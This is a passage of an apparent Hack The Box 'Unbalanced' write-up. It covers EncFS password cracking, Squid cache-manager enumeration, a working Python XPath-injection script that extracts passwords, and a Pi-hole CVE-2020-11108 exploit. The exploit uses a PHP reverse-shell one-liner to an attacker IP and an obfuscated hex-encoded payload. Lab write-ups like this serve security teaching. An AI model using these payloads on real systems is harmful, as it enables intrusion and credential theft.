        &lt;span class=&quot;nt&quot;&gt;&amp;lt;keySize&amp;gt;&lt;/span&gt;192&lt;span class=&quot;nt&quot;&gt;&amp;lt;/keySize&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;blockSize&amp;gt;&lt;/span&gt;1024&lt;span class=&quot;nt&quot;&gt;&amp;lt;/blockSize&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;plainData&amp;gt;&lt;/span&gt;0&lt;span class=&quot;nt&quot;&gt;&amp;lt;/plainData&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;uniqueIV&amp;gt;&lt;/span&gt;1&lt;span class=&quot;nt&quot;&gt;&amp;lt;/uniqueIV&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;chainedNameIV&amp;gt;&lt;/span&gt;1&lt;span class=&quot;nt&quot;&gt;&amp;lt;/chainedNameIV&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;externalIVChaining&amp;gt;&lt;/span&gt;0&lt;span class=&quot;nt&quot;&gt;&amp;lt;/externalIVChaining&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;blockMACBytes&amp;gt;&lt;/span&gt;0&lt;span class=&quot;nt&quot;&gt;&amp;lt;/blockMACBytes&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;blockMACRandBytes&amp;gt;&lt;/span&gt;0&lt;span class=&quot;nt&quot;&gt;&amp;lt;/blockMACRandBytes&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;allowHoles&amp;gt;&lt;/span&gt;1&lt;span class=&quot;nt&quot;&gt;&amp;lt;/allowHoles&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;encodedKeySize&amp;gt;&lt;/span&gt;44&lt;span class=&quot;nt&quot;&gt;&amp;lt;/encodedKeySize&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;encodedKeyData&amp;gt;&lt;/span&gt;
GypYDeps2hrt2W0LcvQ94TKyOfUcIkhSAw3+iJLaLK0yntwAaBWj6EuIet0=
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/encodedKeyData&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;saltLen&amp;gt;&lt;/span&gt;20&lt;span class=&quot;nt&quot;&gt;&amp;lt;/saltLen&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;saltData&amp;gt;&lt;/span&gt;
mRdqbk2WwLMrrZ1P6z2OQlFl8QU=
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/saltData&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;kdfIterations&amp;gt;&lt;/span&gt;580280&lt;span class=&quot;nt&quot;&gt;&amp;lt;/kdfIterations&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;desiredKDFDuration&amp;gt;&lt;/span&gt;500&lt;span class=&quot;nt&quot;&gt;&amp;lt;/desiredKDFDuration&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;/cfg&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/boost_serialization&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I’ve never used EncFS before but some quick research shows that it’s an encrypted filesystem in user-space running with regular user permissions using the FUSE library.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Two directories are involved in mounting an EncFS filesystem: the source directory, and the mountpoint. Each file in the mountpoint has a specific file in the source directory that corresponds to it. The file in the mountpoint provides the unencrypted view of the one in the source directory. Filenames are encrypted in the source directory.&lt;/p&gt;

  &lt;p&gt;Files are encrypted using a volume key, which is stored either within or outside the encrypted source directory. A password is used to decrypt this key.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;We don’t have the password but luckily there’s already a python script in John the Ripper that can extract the hash from the XML and produce it  in a format that can be understood by John the Ripper.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-unbalanced/image-20200801194238244.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We’ll use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rockyou.txt&lt;/code&gt; wordlist with John the Ripper to crack it, recovering the password: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bubblegum&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-unbalanced/image-20200801194408192.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We then mount the filesystem in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mnt&lt;/code&gt; directory, and we now have access to the decrypted files. We’ll look through those files next to find credentials and useful information.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-unbalanced/image-20200801195304488.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;squid&quot;&gt;Squid&lt;/h2&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;squid.conf&lt;/code&gt; configuration is what we’ll be looking at next. Squid is an open-source caching proxy for HTTP and HTTPS traffic. The configuration contains security rules restricting access to the intranet site. From the configuration we find a hostname: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;intranet.unbalanced.htb&lt;/code&gt;. The configuration restricts access to the backend networks but the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;acl intranet_net dst -n 172.16.0.0/12&lt;/code&gt; will allow the proxy to reach that network. We don’t have the IP for the  &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;intranet.unbalanced.htb&lt;/code&gt; host but we can guess it’ll be in that network.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# Allow access to intranet
acl intranet dstdomain -n intranet.unbalanced.htb
acl intranet_net dst -n 172.16.0.0/12
http_access allow intranet
http_access allow intranet_net

# And finally deny all other access to this proxy
http_access deny all
#http_access allow all
[...]
# No password. Actions which require password are denied.
cachemgr_passwd Thah$Sh1 menu pconn mem diskd fqdncache filedescriptors objects vm_objects counters 5min 60min histograms cbdata sbuf events
cachemgr_passwd disable all
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The configuration also contains the cachemgr password: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Thah$Sh1&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;The cache manager is the component for Squid that provide reports and statistics about the Squid process running. We can interact with the cache manager over  HTTP manually but to make it a bit easier we can use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;squidclient&lt;/code&gt; CLI utility. I’ve highlighted &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fqdncache&lt;/code&gt; because that’s where we’ll look to find the IP’s of the servers behind the proxy.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-unbalanced/image-20200801200747899.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;With the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;squidclient -W 'Thah$Sh1' -U cachemgr -h 10.10.10.200 squidclient cache_object://intranet.unbalanced.htb mgr:fqdncache&lt;/code&gt; command we’ll get the cache entries, showing 3 different hosts.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-unbalanced/image-20200801201208461.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;website&quot;&gt;Website&lt;/h2&gt;

&lt;p&gt;Using Burp instead of proxying directly from the browser is better because we’ll be able to look at the traffic, modify requests, etc. The configuration from in Burp is shown here:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-unbalanced/image-20200801201823427.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We can now reach the intranet site through the Squid proxy. The page has a login form for the Employee Area, some package information below and a non-functional contact form at the bottom of the page.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-unbalanced/image-20200801202142101.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Unfortunately, the login doesn’t return anything when we try credentials, it just reloads the same page without an &lt;strong&gt;invalid credentials&lt;/strong&gt; error message or other indication that the page works or not. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;http://172.31.179.2/intranet.php&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;http://172.31.179.2/intranet.php&lt;/code&gt; sites are exactly the same and the login form doesn’t work either.&lt;/p&gt;

&lt;p&gt;However, there’s another active host not present in fqdncache that we can find by guessing the name/IP based on the other two entries: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;172.31.179.1 / intranet-host1.unbalanced.htb&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;This server is configured differently and does return an invalid credential message when try to connect to it. I tried checking for SQL injection but I couldn’t find anything manually or through sqlmap.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-unbalanced/image-20200801203244623.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;xpath-injection&quot;&gt;XPath injection&lt;/h2&gt;

&lt;p&gt;After dirbusting the site for additional clues we find an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;employees.xml&lt;/code&gt; file which unfortunately we can’t access. However this is a hint that we are probably looking at an XML authentication backend instead of SQL, so we should now be thinking about XPath injection.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-unbalanced/image-20200801204925666.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;After messing with payloads for a while I found that we can return all the entries by using the following request:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-unbalanced/image-20200801210131487.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;lt;div class=&quot;w3-container&quot;&amp;gt;&amp;lt;h3&amp;gt;   rita       Rita&amp;lt;/h3&amp;gt;&amp;lt;p&amp;gt;      Fubelli&amp;lt;/p&amp;gt;&amp;lt;p&amp;gt;Role:       rita@unbalanced.htb&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;div class=&quot;w3-container&quot;&amp;gt;&amp;lt;h3&amp;gt;   Jim       Mickelson&amp;lt;/h3&amp;gt;&amp;lt;p&amp;gt;      jim@unbalanced.htb&amp;lt;/p&amp;gt;&amp;lt;p&amp;gt;Role:       Web Designer&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;div class=&quot;w3-container&quot;&amp;gt;&amp;lt;h3&amp;gt;   Bryan       Angstrom&amp;lt;/h3&amp;gt;&amp;lt;p&amp;gt;      bryan@unbalanced.htb&amp;lt;/p&amp;gt;&amp;lt;p&amp;gt;Role:       System Administrator&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;div class=&quot;w3-container&quot;&amp;gt;&amp;lt;h3&amp;gt;   Sarah       Goodman&amp;lt;/h3&amp;gt;&amp;lt;p&amp;gt;      sarah@unbalanced.htb&amp;lt;/p&amp;gt;&amp;lt;p&amp;gt;Role:       Team Leader&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now we have the usernames but no password yet.&lt;/p&gt;

&lt;p&gt;Here’s the boolean script we’ll use to extract the password for all 4 accounts:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;#!/usr/bin/python3
&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;requests&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;string&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;pwn&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;proxies&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;http&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;10.10.10.200:3128&quot;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;usernames&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;rita&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;jim&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;bryan&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;sarah&quot;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;getChar&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;url&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;http://172.31.179.1:80/intranet.php&quot;&lt;/span&gt;    
    &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Username&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Password&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;a' or substring(//Username[contains(.,'&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;user&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;')]/../Password,{0},1)='{1}']&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x00&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;format&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)}&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;r&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;requests&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;post&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;proxies&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;proxies&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;text&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;7529&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;False&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;charset&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ascii_letters&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;digits&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;punctuation&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;user&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;usernames&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;pwd&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;l&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;progress&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Brute Forcing %s... &quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;log_pass&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;progress&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Password: &quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;canary&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;charset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;l&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;status&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;res&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;getChar&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;res&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;canary&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;False&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;pwd&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;log_pass&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;status&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pwd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;canary&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;l&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;success&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;DONE&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;log_pass&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;success&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pwd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Running the script we get the following passwords:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-unbalanced/image-20200801212846920.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The only credentials that work over SSH are &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bryan / ireallyl0vebubblegum!!!&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-unbalanced/image-20200801212949995.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;pi-hole-cve-2020-11108&quot;&gt;Pi-hole CVE-2020-11108&lt;/h2&gt;

&lt;p&gt;Checking the listening sockets we see something on port 5553.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-unbalanced/image-20200801213125467.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Googling port 5553 confirms what we see in the TODO file: it’s running the Pi-hole:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;bryan@unbalanced:~$ cat TODO
############
# Intranet #
############
* Install new intranet-host3 docker [DONE]
* Rewrite the intranet-host3 code to fix Xpath vulnerability [DONE]
* Test intranet-host3 [DONE]
* Add intranet-host3 to load balancer [DONE]
* Take down intranet-host1 and intranet-host2 from load balancer (set as quiescent, weight zero) [DONE]
* Fix intranet-host2 [DONE]
* Re-add intranet-host2 to load balancer (set default weight) [DONE]
- Fix intranet-host1 [TODO]
- Re-add intranet-host1 to load balancer (set default weight) [TODO]

###########
# Pi-hole #
###########
* Install Pi-hole docker (only listening on 127.0.0.1) [DONE]
* Set temporary admin password [DONE]
* Create Pi-hole configuration script [IN PROGRESS]
- Run Pi-hole configuration script [TODO]
- Expose Pi-hole ports to the network [TODO
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The Pi-hole has an RCE CVE documented here: https://frichetten.com/blog/cve-2020-11108-pihole-rce/&lt;/p&gt;

&lt;p&gt;I’ll establish an SSH local forward with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ssh -L 9080:127.0.0.1:8080 bryan@10.10.10.200&lt;/code&gt; then reach the admin interface on port 8080. Fortunately the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;admin / admin&lt;/code&gt; credentials work and we’re able to get in.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-unbalanced/image-20200801213759929.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We’ll just modify the PoC exploit with the right IP for our machine: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;php -r '$sock=fsockopen(&quot;10.10.14.18&quot;,4444);exec(&quot;/bin/sh -i &amp;lt;&amp;amp;3 &amp;gt;&amp;amp;3 2&amp;gt;&amp;amp;3&quot;);'&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;The final payload looks like this:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;aaaaaaaaaaaa&amp;amp;&amp;amp;W=${PATH#/???/}&amp;amp;&amp;amp;P=${W%%?????:*}&amp;amp;&amp;amp;X=${PATH#/???/??}&amp;amp;&amp;amp;H=${X%%???:*}&amp;amp;&amp;amp;Z=${PATH#*:/??}&amp;amp;&amp;amp;R=${Z%%/*}&amp;amp;&amp;amp;$P$H$P$IFS-$R$IFS'EXEC(HEX2BIN(&quot;706870202D72202724736F636B3D66736F636B6F70656E282231302E31302E31342E3138222C34343434293B6578656328222F62696E2F7368202D69203C2633203E263320323E263322293B27&quot;));'&amp;amp;&amp;amp;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-unbalanced/image-20200801214200971.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

